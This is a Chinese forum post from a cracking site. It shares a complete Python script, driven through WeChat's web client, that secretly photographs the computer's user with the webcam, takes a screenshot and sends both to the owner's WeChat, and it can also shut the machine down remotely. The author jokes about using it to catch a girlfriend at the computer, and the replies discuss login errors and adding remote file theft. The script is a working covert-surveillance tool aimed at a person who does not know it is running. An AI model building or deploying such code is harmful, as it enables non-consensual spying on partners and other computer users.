吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4576|回复: 9
收起左侧

[Python 转载] 【笔记】【Python远程监控电脑使用-截图-拍照-关机】

[复制链接]
荆棘云海 发表于 2019-8-15 18:22
本帖最后由 荆棘云海 于 2019-8-16 11:31 编辑

先放代码,如下:
[Python] 纯文本查看 复制代码
import itchat
import os
import time
import cv2
from PIL import ImageGrab

sendMsg = u"{消息助手}:暂时无法回复"
usageMsg = u"使用方法:\n回复 cap 获取当前用户,自动截图和给电脑使用者拍照,并且发送照片到微信。\n" \
           u"回复 shutdown  电脑关机 \n"
flag = 0 #消息助手开关
nowTime = time.localtime()
filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"
myfile = open(filename,'w')

@itchat.msg_register('Text')
def text_reply(msg):
    global flag
    message  = msg['Text']
    fromName = msg['FromUserName']
    toName = msg['ToUserName']

    if toName == "filehelper":
        if message == "cap": #如果回复cap
            cap = cv2.VideoCapture(0)
            ret, img = cap.read()
            cv2.imwrite("weixinTemp.jpg",img)
            itchat.send('@img@%s'%u'weixinTemp.jpg', 'filehelper')
            cap.release()
            #电脑屏幕截图
            screen = ImageGrab.grab()
            screen.save('./screenShot.png','png')
            itchat.send('@img@%s'%u'screenShot.png', 'filehelper')
        if message == "shutdown":#如果回复shutdown
            os.system('shutdown -s -t 60')          

    elif flag == 1:
        itchat.send(sendMsg,fromName)
        myfile.write(message)
        myfile.write("\n")
        myfile.flush()

if __name__ == '__main__':
    itchat.auto_login(hotReload=True)
    itchat.send(usageMsg, "filehelper")
    itchat.run()
    



主要利用Python第三方库itchat 库来登录到微信网页端,利用 itchat 来发送消息和接收消息。
并通过调用 opencv 打开电脑摄像头进行拍照,如果这个时候女朋友正在使用电脑


回复cap:获取当前用户,自动截图和给电脑使用者拍照,并且发送照片到微信。
回复shutdown:电脑关机,估计会被打,慎用,哈哈哈哈哈

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

zzgaot 发表于 2019-8-15 22:55
以前好像见过类似的帖子。还有手机截图的。
随梦期初 发表于 2019-8-16 08:33
有见过类似的,只是没注意有没有给使用电脑的拍照
zac7 发表于 2019-8-16 09:34
请问楼主,这个怎么解决
[Python] 纯文本查看 复制代码
Getting uuid of QR code.
Downloading QR code.
Please scan the QR code to log in.
Please press confirm on your phone.
Loading the contact, this may take a little while.
Traceback (most recent call last):
  File "C:/Users/24526/Desktop/wy/py杂文/拍照关机.py", line 45, in <module>
    itchat.auto_login(hotReload=True)
  File "D:\python36\lib\site-packages\itchat\components\register.py", line 30, in auto_login
    loginCallback=loginCallback, exitCallback=exitCallback)
  File "D:\python36\lib\site-packages\itchat\components\login.py", line 66, in login
    self.show_mobile_login()
  File "D:\python36\lib\site-packages\itchat\components\login.py", line 212, in show_mobile_login
    self.loginInfo['url'], self.loginInfo['pass_ticket'])
KeyError: 'pass_ticket'
 楼主| 荆棘云海 发表于 2019-8-16 11:36
刚开始学Python,希望和大家一起讨论进步
Charleschr 发表于 2019-8-16 11:54
本帖最后由 Charleschr 于 2019-8-16 11:55 编辑

其实还可以再建一个指令电脑文件传输~搭载本地文件搜索引擎使用,微信关键返回查找相似列表,查找电脑文件并传输非常好用
(灵机一动的想法,大佬误喷哈~
heiying88 发表于 2019-8-18 16:19
现在没用了, 不支持微信网页登陆了
ysc020 发表于 2019-8-18 16:57
这个不错
787821 发表于 2019-8-18 19:27
高手啊!OPENCV由没有教程可以学啊~!
佚丶名 发表于 2019-8-18 20:08
学习了
还能登陆吗现在
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-27 23:01

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表